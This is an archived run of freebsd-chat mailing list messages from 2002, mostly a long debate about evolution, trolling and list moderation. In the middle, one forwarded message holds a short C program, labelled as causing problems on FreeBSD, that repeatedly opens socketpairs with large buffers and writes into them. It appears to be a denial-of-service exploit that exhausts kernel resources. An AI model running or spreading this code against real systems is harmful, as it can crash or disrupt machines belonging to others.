is a trivial operation in the noosphere, much less trivial in physicality -- but still doable. > >> > On the other hand, isolation of 100% of infected individuals is 100% > >> > effective in stopping the spread of any epidemic. > >> > >> And dishonorable to those individuals. Do you realize that you are > >> taking the position of the haughty master, claiming that everyone > >> that doesn't act as he wants them to should be isolated and locked up? > > > > That's an extreme overstatement of my position, on the basis of > > one of a set of possible solutions to the problem. > > I thought absurda was "ok" in your book? You are not performing a reductio ad absurdum argument, unless you follow the premise to its logical conclusions. In this case, you've pulled a conclusion out of thin air, based on several of your own assumptions (the first being that there is a "master" in the first place; someone who does not exist can neither be "haughty" nor "humble"). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 21:22:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 54B5937B400 for ; Sun, 1 Sep 2002 21:22:39 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id E080E43E4A for ; Sun, 1 Sep 2002 21:22:38 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0170.cvx21-bradley.dialup.earthlink.net ([209.179.192.170] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lijU-0003HS-00; Sun, 01 Sep 2002 21:22:37 -0700 Message-ID: <3D72E749.B309BC63@mindspring.com> Date: Sun, 01 Sep 2002 21:21:29 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011821.g81ILo144411@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> > How can individuals cooperate to achieve common goals, if everyone > >> > acts as you would have them act? By what system? > >> > >> Eh? Why does this position imply that individuals cannot cooperate? > >> How can individuals cooperate at all if they do not focus on what they > >> do as a first priority? > > > > It doesn't imply they can't, it implies they won't. > > It implies no such thing either way. You can be focused, for example, > on what you are doing for another. See my references. Do the math. The game you are describing has only one set of paredo-optimal results. > Again, I'm not implying that. I'm saying you should be worried about > your own progress and your own issues first. If you are focused on > how "you can get something from this other", that's not the focus I am > talking about. What else am I to conclude from a selfish focus on one's self, with no worry about what others do? I can, for example, focus on feeding myself, while others starve. > >> Measuring the greatest good is not done using any continuous > >> increasing space of quantative measure. It's not even mathematical. > > > > You mean "I don't know the math which would enable me to model > > that correctly". 8-). > > I don't think there IS any math that would enable you to model that > correctly. You don't even have a solid context to apply any measuring > semantics. Sure I do. The avearge perception of "good". Any given society can vote on its meaning, and take the consensus decision as being normative. > >> You just can't "measure" or "know" this or usefully map it to any > >> remotely rational or linear process. Approximations, in fact, may do > >> more harm than good. > > Definition (NIST : http://www.nist.gov/dads/HTML/monteCarlo.html ) > > Monte Carlo Algorithim - A randomized algorithm that > > may produce incorrect results, but with bounded error > > probability. > > What good is this for measuring "good"? We already know how to measure good: it's 100 minus the precentage deviation from the consensus. What we're interested in now is in arriving at a maximization function. > > Respectfully: a tool may only do "more harm than good" if it is > > used by someone who does not know how to use it correctly. > > By the same boat, attemping to act on unknowable data about what > is the "highest and best good" may do "more harm than good" if someone > does not know how to approach this correctly. Your insistance on "unknowability" is bizarre. > It always was your duty to find the best yardstick by which to measure > 'highest and best good'. See above. > >> > In order for a system top operate indefinitely, it must achieve > >> > homeostasis. > >> > >> IYHO. ;) > > > > Definitionally. > > Your definition. ;) A definition I accept; I don't claim to have originated it. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 21:23:40 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C466A37B400 for ; Sun, 1 Sep 2002 21:23:38 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 838B743E75 for ; Sun, 1 Sep 2002 21:23:38 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0170.cvx21-bradley.dialup.earthlink.net ([209.179.192.170] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17likQ-00046o-00; Sun, 01 Sep 2002 21:23:35 -0700 Message-ID: <3D72E781.D6B3457D@mindspring.com> Date: Sun, 01 Sep 2002 21:22:25 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Kris Kirby Cc: Dave Hayes , Dominic Marks , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Kris Kirby wrote: > On Sun, 1 Sep 2002, Dave Hayes wrote: > > Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org > > >>> The opinions expressed above are entirely my own <<< > > Kids: Cut me and Dominic from the CC list. I'm on -chat, and Dominic > didn't want to be CC'd. No problem. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 23:16:36 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 175FA37B400 for ; Sun, 1 Sep 2002 23:16:33 -0700 (PDT) Received: from web12905.mail.yahoo.com (web12905.mail.yahoo.com [216.136.174.72]) by mx1.FreeBSD.org (Postfix) with SMTP id AAFF943E84 for ; Sun, 1 Sep 2002 23:16:32 -0700 (PDT) (envelope-from bad_dot_c@yahoo.com) Message-ID: <20020902061632.77710.qmail@web12905.mail.yahoo.com> Received: from [210.255.182.82] by web12905.mail.yahoo.com via HTTP; Mon, 02 Sep 2002 07:16:32 BST Date: Mon, 2 Sep 2002 07:16:32 +0100 (BST) From: =?iso-8859-1?q?Ivan=20Streetovich?= Subject: From: Ivan Streetovich, Japan To: freebsd-chat@freebsd.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-1029619059-1030947392=:76557" Content-Transfer-Encoding: 8bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --0-1029619059-1030947392=:76557 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Disposition: inline __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com --0-1029619059-1030947392=:76557 Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Received: from [210.255.182.82] by web12904.mail.yahoo.com via HTTP; Mon, 02 Sep 2002 07:05:52 BST Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) From: =?iso-8859-1?q?Ivan=20Streetovich?= Subject: From: Ivan Streetovich, Japan To: security@freebsd.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 459 #define BUFFERSIZE 204800 extern int /* Released by Ivan Streetovich, Japan * * Causes problems on FreeBSD */ main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com --0-1029619059-1030947392=:76557-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 23:18: 0 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E495837B400 for ; Sun, 1 Sep 2002 23:17:30 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8DCB243E6E for ; Sun, 1 Sep 2002 23:17:29 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g826HR149472; Sun, 1 Sep 2002 23:17:27 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209020617.g826HR149472@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 23:17:22 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Heaven forbid I be reduced to a religious argument. ;) > > Yes; if you are, you have already lost, since you will lack > the ability to communicate it to anyone else. Actually I won't lack the ability at all. Others may lack the willingness to listen, but there's always someone out there who will listen to anything. > Even if you perceive the numinous, you yourself are not numinous. The existence of the numinous implies the existence of it's opposite. That way lies the dark side. The trick is to become one with the universe, then speak at the level of people's understanding. ( This would be a herculean feat for you, oh master of the pleonastic. ;) ) >> > The simple fact is that recessive genes are never removed from the >> > gene pool, only individuals in which they express are removed. >> >> If a gene exists in an organism but isn't expressed, isn't that >> effectively the same as removing it? > > You *really* don't know much math, do you? Actually I know a fair bit, though I won't claim to be a master at it and I don't study it day in and day out. How you derive your conclusion about math from a statement about genetics is, however, quite beyond me. > The answer is that only gene combinations which are actively fatal > to the organism will be removed from the gene pool. If they are not > active, then they are not removed. But still not expressed, which is what I was driving at. >> > "Good luck to you, oh fellow traveller". >> >> You can't be seriously implying you are on this same road... > > Look up the phrase "fellow traveller". 8-). Do you mean: Someone sympathetic toward a certain point of view without being a fully paid-up member of the club. >> > I disagree. It speaks to the consensus definition of "right" and >> > "wrong". >> >> So 2000 people come up to you with big sticks and tell you they >> will beat you up unless you admit the earth is flat. > > I remember this guy named Galileo... Yer THAT old? ;) > [ ... putting rapists in prison and/or killing them ... ] >> Actually that evolves the creatures who engage in forcible >> reproductive acts, by forcing them to do this such that they >> are not caught. Arguably, this makes them quicker and more >> efficient. > > This shows a really poor understanding of evolution. That would put my understanding at par with the rest of humanity. > Here's a nutshell synthesis, taking your premise: > o A mutation occurs, resulting in an individual with > a new trait, which can be passed on > o The environment votes for or against the reproduction > of the individual The environment does not vote. It is not active in the process. The mutated individual either adapts or does not adapt to its environment. Your synthesis breaks down here. >> > External reality can act to take away our access to any reality, >> > external or internal. You have to accomodate that fact, even if >> > you dislike it. >> >> Nonsense. Mental institutions with catatonics are a good counter >> example. > > That external reality *does not* does not mean that it *can not*. Hey, according to people who work in these places, some try every day to reach the catatonic individual...with no success. The extrema is that you can kill someone, but we'll argue about what happens afterwards. >> > As to what I choose to remember, well, it's not like I have to >> > forget one thing to remember another. >> >> Irrelevant to the point, of course. > > Sure it is. You were claiming a finite resources, with a near > bound. I'm arguing that, if not infinite, at least the bound is > much farther away than you claim. Actually, I was arguing the relative worth of your choice of memorized data. Efficiency is worthwhile, even with infinite resources. >> They have to find you first. In that, there is the balance of power. > Read: The Transparent Society The difficulty I have in arguing with you is that a lot of my knowledge comes from experience and observation. A lot of yours seems to come from books. If I were extremely well read, I would probably sound like you (heaven forbid), since this is the Nth time that you've used others' written works to rebut a point. By now you must have realized that I don't consider something authentic just because it's written in a book, or because some famous or infamous or little known scientist says it is true while providing a rationale and experimental data. So. The question remains as to why you continue to put someone else's words where your mouth is. I suspect the answer is because you are deeply, almost religiously, mapped into the scientific reality. That's neither good nor bad, just a statement of what I appear to see. If it works for you, use it. I'm not trying to change this or anything about you. Often times I map into this reality too, it is useful for solving a number of problems. What I don't understand is this. If you are going to provide examples in critical thinking as a suggestion to me or others, why not apply those examples to the tenets of science? The scientific method works for some bounded space of problems, but you never see a scientist apply critical thinking to that method, wondering whether or not it is appropriate to apply to what just occurred. You never see a scientist question their own assumptions far enough to get to the scientific method. The speed of light has nothing to do with "objective" reality other than being the speed of our fastest perceptual medium. If you've ever worked with sampling sounds before, you'll see the exact same effect as you approach w/2 (w = sampling frequency) that you do when you approach the velocity of c. In sampling, you approach a frequency wall and components of the sampled waveform higher than w/2 appear to wrap backwards around that wall. In relativistic mechanics, you approach a time wall, and time appears to wrap backwards around that wall. It doesn't really do this, but our senses tell us it does. Any measuring system will tell us the same thing, since none of them perceive faster than the speed of light. Yet no scientist has ever (to my limited knowledge) questioned this simple basic observation. No scientist dares to question general relativity. If this has actually been discussed among physicists, I'd be shocked. I'd have to find a new example. You'll probably have some quip answer. But example or no example, it is this level of critical thinking I find absent in science and really most human knowledge. I have always been a seeker after Truth, and I settle for nothing less. I've already realized I cannot know the Truth like I know any other subject, and I've already given science it's chance to convince me it had the Truth. It doesn't. It has some pieces and parts, but for me, for human problems, the scientific method is not the answer. Skirting the obvious metaphysical direction, this may explain why we have a lot of trouble understanding each other. =) >> The successful (i.e. not caught) ones reproduce and pass their skills >> on to their offspring. Displacement is not necessary if you can live >> within and be unnoticed until time to act. > > Incorrect. The skills are passed environmentally. I know you cannot prove this, so I'll move on. I also believe, if you'll look, there's recent evidence to the contrary. I know not where to look, I was speaking with some PhD somewhere about these matters. I'm sure you'll find it. ;) > [ ... ] >> You forget to take this one step further. I don't need to rationalize, >> I know who and what I am. Arguments against my nature are irrelevant >> and obviously wrong. ;) > > So you are able to seperate the genetic (your nature) and environmental > (programming) factors that make up your own psyche? Most of them, yes...though I hardly see how this is relevant and I sure wouldn't phrase it that way. >> > I'll accept the validity of proof for the sake of argument, so you >> > can proceed without first proving it, if you want... ;^). >> >> That would go against rigor. ;) > > Hardly. We would merely be debating the self-consistency of the > model you are proposing. Intellectual masturbation, at best. You are already going to disagree with me, no matter what model I propose. I give up before I've even started. >> > First, there is already an individual who has colonized an oil rig >> > in the North Atlantic in this fashion. It was fairly widely reported >> > about four weeks ago. >> >> This person hasn't been challenged yet? Amazing. > > Challenged -- and he won -- in a U.K. court. Amazing. What other courts does he have to go through? ;) >> > If the reason is that once societies grow large enough, your ideas >> > will not work, well, I guess your ideas lose. >> >> It's humanity that loses. > > Apparently not in the opinion of humanity... Humanity has always been self-destructive in it's quest for the next thing. There was an animated short I saw a long time ago. It opened with a fish, and someone who made a wish. The person, in the most typical manner for an American, said "I want it ALL.". That's how some people are. >> > All things which are true are, at least eventually, provable. >> >> I disagree, and you can't prove that. |) > > Goedel. His proof was the last mathematical proof I ever read. You really don't need to read another once you've read that one. ;) >> > If it didn't have a chance of being effective externally, you >> > would not so vehemently argue against external blocking, since >> > an ineffective block is a transparent membrane. >> >> It doesn't have a chance of being effective against blocking trolls, >> but it does have a chance of stifiling communication...which is why >> I get so vehement. > > As long as it has the effect of stifiling communition *by trolls*, > that's all that matters, in the limit, since that is the problem > we are trying to address. You can't orthogonalize this. You can't just apply a transform and have the troll component vanish, you still affect the other communication. >> > It works? >> >> Not where I come from. If you attempt interference, you suddenly >> have problems you didn't before. > > You calim this, yet, if you anhilate your enemy, rather than > merely decimating them, they do not rise again. No, their traits appear in another and another and... If you can understand this, it's your opposition to the traits that generates enough energy to pull in those who have them. >> > and your previous attempts to demonstrate "your way" have resulted in >> > failure? >> >> Which ones would those be? > > Don't be coy. I've read your web site, and I'm well aware of > your failure to establish what you call a "Usenet Site of > Virtue". I'm not being coy, I've demonstrated many times since. The problem in that particular case was my failure to observe the dichotomy in place between troll and netcop. One pulls in the other, no matter what you do. When I could see that they were just two sides of the same coin, well that's when I gave up on USENET. I won't say it's easy to do, but my successes (which will remain anonymous lest they get polluted by my failures) have neither troll nor netcop in them, and they do just fine. No trolls. No netcops. (And no WAY am I telling where they are, lest they get polluted.) It's not a science yet, but once I feel confident, and of course if it's appropriate, I may make a public attempt on FreeNet, where netcops can't do any damage. It is my theory that the trolls, without netcops to drag them in, will go elsewhere over time. >> >> I think we've both -been- asking the list for some time now, in a >> >> roundabout way of course. >> > >> > Then the list has *already* responded. You initial posting was an >> > attempt to challenge that response. On a voting majority basis, it's >> > basically 17:2 (you and the troll being the two). >> >> What? I haven't seen -any- responses to this issue. > > You have seen negative reaction to the troll. Actually yes, I recall this. > There has been no positive reaction, other than your own. Mine was neither positive nor negative, though getting you to see that may take mind-melding. ;) Since I was trying to communicate "stop thinking about it", that's seen as "troll support". That's humanity for ya. ;) >> >> I do. I want to read those posts. >> > >> > So subscribe to the venue in which they are permitted to be posted, >> >> What venue would that be? =P > > One you run, instead of expecting someone else to run it for you. Straw man. I can't start up a counterpart freebsd list and you know it. >> > What you really mean to say here is that you want *us* to have to >> > read these posts, as well, and therefore the only suitable venue in >> > which the posts can take place is *these lists*... IYHO. >> >> Not exactly. What I really want to see is you *responding* to those >> posts. In that lies the information that I consider just as valuable >> as the regular traffic. > > Responding... as in the response of blocking future posts? Or > do you mean engaging in discourse with the troll? Discourse, of course. ;) >> However my real position is against any sort of moderation, not >> because of these responses, but because of the chilling effect >> moderation has on the information flow in the list. > > My real position is against any sort of trolling, because of the > chilling effect trolling has on the information flow in the list. Either way we lose, so why not make it the most open way and don't block anyone? >> > Rational humanist; definitely not "objectivist". >> >> Wow, this explains much (presuming you fit the accepted consensual >> definition of "rational humanist", which I suspect you don't). >> >> If I remember correctly, this category of people disdains taking >> ethical or moral guidance from supernatural or mythological beings >> (e.g. "God"), preferring instead to resolve dilemnas of this >> nature with reason and rationality. >> >> Is this your position as well? > > Yes, that's my preference. What about those questions which cannot be dealt with rationally? >> > Now please demonstrate how a troll posting to -hackers fits within >> > the list charter by any stretch of the imagination. >> >> A demonstration is inappropriate. > > It's the only appropriate response to a threat of "censorship". Nonsense. The appropriate response to such a threat is nothing, since someone threatening that is insane by definition. |) >> My position is against moderation (not "pro-troll" as I have been >> arguing). I recognize you want to remove trolls. What I don't like >> about any sort of moderation is that it chills the expression of >> information. Some information will be lost, from those who don't wish >> to risk having their posts placed before moderation. Some say this is >> good, I say I'd rather wade through a lot of posts. > > The problem with this is it ignores the fact that topical > postings, however unpopular, will be protected by the mutual > security network. That's not what actually happens in moderation. A subset of ideas that are 'out of the box' enough to be topically suspect (even though of interest to the community) will be refused entry to the list. Thus, the list is denied the fresh input of new data, even if absurd. >> Now don't get me wrong, I still do like troll postings (and moreso, >> their responses). However, I would agree with banning email addresses >> after the second posting as you have suggested, because this does >> not involve moderation. > > Ah. Good. Then you agree with the actions which have already > been taken by the list, in this regard. I didn't know they'd been taken, but as such, yes. >> > before, it fits the charter of -chat, no problem (you will notice >> > that when I respond on this topic, I response only in -chat). >> >> You'll notice I began my commentary in "-chat". You'll also notice I >> told people that I would stop bantering with you if asked. Just >> because I'm having fun doesn't mean they are. ;) > > Actually, you said you would stop bantering "if asked"; no need > to implicate me specifically in your control function. 8-). Do you see me bantering with anyone ELSE in here? ;) >> > I'm talking about a mutual altruism network. The concept of "mutal >> > altruism" is not identical to the concept "altruism", or I would not >> > have needed to use the adjective "mutual" to modify "altruism" in >> > order to communicate what I meant. >> >> It must have some similarity, however, because you are modifying the >> original concept of "altruism". Your modifier makes no sense to me, >> since it would seem to be oxymoronic...like "smart politician", >> "excellent microsoft software", or "polite troll". ;) > > It defines a specific type of mutual security game. The kind > which is played by Open Source Software projects on mailing > lists, news groups, or other communications mediums. I don't agree that, in this case, "mutual altruism" has any differences from "altruism" in this case...for altrusim to be authentic it must not be required or have strings attached. If you are saying "mutual altruism" has strings attached, then I disagree that this is "altruism". >> Good god. I'm not trying to create a proposed society (horrors) and >> really the only change I can be accused of making is wanting to resist >> efforts to moderate certain FreeBSD lists. (I've long ago stopped >> wanting to oppose moderation on the net as a general rule.) > > The only moderation which has been suggested recently is the > moderation of the FreeBSD-security list. Yes. Hopefully that issue will subside. > I don't believe *anyone* has suggested moderation of -hackers or > -chat as a means of preventing the troll postings to those venues. You did. Go read what you wrote. You are practically chomping at the bit to do this, which means you might be a netcop. If you are a netcop, trolls will follow you around no matter what you do. Don't believe me, just watch. >> > On the other hand, I have no problem whatsoever with you creating >> > your own mailing list server and establishing your proposed society >> > on that server, instead. >> >> I'd just bet this is false. By your definition of "social conscience" >> you have a moral obligation to make sure my society is adhering to >> your rules...er..."consensual standards of decency". So you would >> have to interfere by your own definitions. > > Nonsense. I only have a responsibility to the societies of > which I am a member. What? Where's your social conscience? ;=P How can you not be responsible to another human being, who is a member of the most basic society...that of all human beings? >> >> Hey, it's your gift. You can take it back any time you want. >> > >> > I'm not taking it back. My gift is not the object itself, but a >> > license to use the object under certain preconditions. 8-). >> >> Ghod. You are going to now assert that we have to be licensed to use >> the FreeBSD lists? > > In the limit... yes. Though your reaction implies inclusionary > licensing, rather than exclisionary non-licensing. If it looks like it, smells like it, and acts like it... > To put it another way, you have the right to speak, but you do > not have the right to an audience, or the right to the forum in > which a particular audience exists. This is such a straw man. Did you really read my site? Speaking, without an audience, is not speaking in the sense that the "right to speak" implies. I will concede that the audience has a right to ignore you... > [ ... changing your mind by changing your mind ... ] >> > Don't panic. Society will only do it if you *act* on your racism. >> >> The panic comes from the implication that society has the right to >> reform us in the image they want. I find this abhorrent and evil. > > It's preconditioned on your willing participation in the society, > and a grant of license by you, by virtue of your participation. I'm born into a society...I'm supposed to stand up the moment I'm born and say "I don't want to participate"? I don't accept this at all. > Participation in society is voluntary. I disagree. Like you said, societies are in the same competing space which is getting smaller (by occupation) everyday. You really don't have a choice. >> > Don't be so quick to dismiss the idea that I could wilfully create >> > such a place in the noosphere. >> >> I'm sure you could create your own perfect section of net society. >> I'm also sure that it would deviate from perfect the moment you >> created it. > > Maybe my idea of perfection would be that it would be enough for > it to exist in the first place. 8-). Perhaps, but I'm sure this would change after the first troll comes. ;) >> > If there were 10 and them and 1 of me, then I'd be the troll, and >> > they'd be the society being trolled. >> >> And would your principles apply then? ;) > > Yes. So you'd leave? >> >> Very intersing. I would have no substantative objection (which won't >> >> stop me from objecting on principle) to this, given a troll can get >> >> an infinite source of email accounts. >> > >> > "Hotmail". >> >> Hopefully this will exist for some time. However, it's safe to assume >> that someday it will go away. Next? ;) > > http://finance.yahoo.com/ >> > A stagnant community is one in which no forward progress is >> > possible, due to the preponderance of trolls, since it is their >> > nature to disrupt the society's ability to act, even in the >> > direction of forward progress. And herein lies the problem >> > with permitting trolls. >> >> That is not the definition I was using. >> >> A stagnant community is one in which no forward progress is possible, >> due to the fascism and fixed ideas inherent in the community, since >> new ideas will be quickly stifled as against the status quo, even if >> these ideas are topical and in the direction of forward progress. And >> herein lies the problem with moderation. > > The BSD community is roughly self-assembled around the issue of > license, just as the Linux community is roughly self-assembled > around the issue of license. > > If you want to self-assemble a community around a different issue, > or if you want to self-assemble a community around the same issue > or a different license, then feel free to do so. This straw man again? >> > Your point is that I must have faith in my axioms. I will accept >> > that. But since I have exactly 8 axioms, and know very well what >> > they are, it's unlikely that you will be able to arrive at them >> > by means of guessing, even if that guessing is educated. >> >> Only 8? Amazing. What are they? > > None of anyone else's damn business. 8-). Well then. You must not have so much faith in them, if security by obscurity is your method. ;) >> > Or not data I want, >> >> Sure, I can accept you are filtering out the data you want from the >> raw stream that's out there. Just remember one man's Noise is another >> man's Data. > > I prefer to think of it as having a multitude of streams, each > containing a certain classification of data, and filtering by > means of selecting which streams to monitor. It's significantly > more efficient, since it means that I don't have to interpose an > additional latency barrier. You cannot classify the streams so efficiently as to demand that one or three postings in a month be removed from the stream. > Your way, of having only one single mailing list for all of the > Internet, and forcing everyone to filter, is inefficient, both > because it's computationally a much more expensive algorithm, > and because of the latency that's introduced. My way is not to do that. My way is to have many different topical lists, and personal filtering for each reader. It's like the squelch button on most chat room software. Let's debunk another straw man. You simply -have- to filter email in today's internet. There's no choice. Even if you have every message on topic and no spam, you could be connected to 1000s of people. In otherwords, there are many more people than you, so you must filter in order that you are not constantly reading mail. So since the filters must be there anyway, why not encourage people to use them to filter out that which they do not like (trolls)? >> > because it is not representitive of repeatable empirical >> > observations? >> >> Trolls are not repeatable empirical observations? Have you ever made a >> study of them? > > Oh, yes. Which is why I can speak to motive without difficulty. I daresay on this one subject I have more data than you do. You appear to be only looking at freebsd-trolls. From 1990 to 1998 I dealt with all manner of Usenet troll seeking refuge from the netcop. I could conservatively estimate over 500 trolls, from verbally challenged to elquently electrifying. Each one of them has the same pattern. It's the pattern the netcop has, if you look at it closely. They also communicate a wealth of data, if you understand how to look at what they are saying. >> >> IMEO, there is a manifest destiny for humans to be able to communicate >> >> with each other without some authoritarian gibbert telling them how >> >> they can and cannot speak. >> > >> > That's a use to which you personally want to put a communications >> > medium, >> >> No, that's a use that I observe is necessary. > > That's the use which you *posit* is necessary. Quintessential > necessity has yet to be established indisputably. I said "observe" and I meant observe. Your dismissal of my assertion doesn't change my observation, only what you think of it. >> > That doesn't make it the manifest destiny of the Internet, merely >> > because of your opinion of the manifest destiny of human kind. >> >> As has been demonstrated to me many times in my life, my opinion >> hardly matters. There are those who agree with this use of the >> internet and those who disagree. The reason I argue that this is >> necessary has a lot to do with the ease of ignoring something you >> don't like on the internet. > > And the reason I argue for preconditionas on particular channels > is the computational expense inherent in implementing your method. Which pales to the computational expense to send and receive all email. >> The subtle straw man of "go create your own island" again raises >> it's ugly head. > > It's not a strawman. Do it. The only thing preventing you from > running a mailing list server or usenet server of your own is you. It's a strawman. It's meaningless to the point of "moderating the freebsd lists", which already exist and communicate valuable information. >> >> Consider. YOU lobbed the first volley at me. I'm enjoying myself, I >> >> haven't had a good usenet style debate in ages. But by the same token, >> >> I have no delusions that I am swaying you of anything other than >> >> thinking I am a fool. >> > >> > You were the one who posted in favor of trolls. >> >> Oh I see. Naturally, that forced you to post. I get it. ;) > > It didn't force me to post. I chose to post, in response. It is that choice to which I referred to above. >> > It was you who lobbed the first volley against the established >> > social norm of the society in which your posting was made. >> >> What established social norm? > > "No Trolls Allowed I never saw that as an established social norm on the freebsd lists. Really, it looked like the matter had rarely been talked about. > (or birds)". Egad, what's wrong with birds now? >> > Unfortunately, you have this Utopian ideal in mind, and I do not >> > share your ideal, because, so far, you have failed to provide me >> > any reason to accept the ideal as my own. >> >> I don't -want- to convince you. If I want anything, it's for you to >> arrive at this ideal yourself in your own way without any real >> external pressure to do so. Only then can I be sure you truly >> understand what I am talking about. Everyone, in their own way, will >> arrive there sooner or later...and then they will move on after that. > > It's not going to happen. Your ideal is (apparently) not > emergent. They said we would never fly too. ;) >> >> You are presuming One True and Right Society. I bet Iraq has something >> >>> to say about the sociopathy of the American armed forces... >> > >> > Not applicable, unless there is a shared reference frame. I >> > don't think "socipath" is the appropriate term in this context; >> > I think the one the Iraqi's themselves have chosen is "Great >> > Satan"... 8-). >> >> "Satan", "sociopath"...what's the difference? Evil has many names, >> but the root of the concept is still the same. ;) > > Not applicable, unless there is a shared reference frame. "Evil" is that frame. Hello? How does someone so booksmart become so obtuse?...er never mind. ;) >> > Thanks. I would rather solve the class of problems, of which trolls >> > are a member, then address the problem of individual trolls. If >> > nothing else, there are economies of scale. 8-). >> >> You think there is an entire -class- of problems, of which trolls >> are a member? *shudder* > > Yes. I'll be interested in reading that paper *shudder* when you are done. >> Do you get out much? (I don't, and now I'm thinking maybe I should...) > > I recommend you learn to type faster. I type fast enough as it is. It's choosing the appropriate words for your state of mind that takes time. >> Well then, why not just build your perfect society out of robots? >> As their first act, you could have them kill all humans...because >> humans sometimes do not avoid proscribed behaviors. > > "Why not"? We can start with the fact that you're the one who > wants to change society... 8-). QED. >> > Regardless of your opinion of modern education (it can hardly be >> > lower than my own), >> >> Don't presume please. ;) >> >> > to the society, it is the effect of the results on the society that >> > matter. >> >> The ends justify the means? > > The results validate or invalidate the effectiveness of the > means. That's a very different statement. Not really. If the results validate the effectiveness, the means are justified. That is how you think, no? >> >> > On the other hand, isolation of 100% of infected individuals is 100% >> >> > effective in stopping the spread of any epidemic. >> >> >> >> And dishonorable to those individuals. Do you realize that you are >> >> taking the position of the haughty master, claiming that everyone >> >> that doesn't act as he wants them to should be isolated and locked up? >> > >> > That's an extreme overstatement of my position, on the basis of >> > one of a set of possible solutions to the problem. >> >> I thought absurda was "ok" in your book? > > You are not performing a reductio ad absurdum argument, unless you > follow the premise to its logical conclusions. If I did this, it would be absurd. ;) > In this case, you've pulled a conclusion out of thin air, based on > several of your own assumptions (the first being that 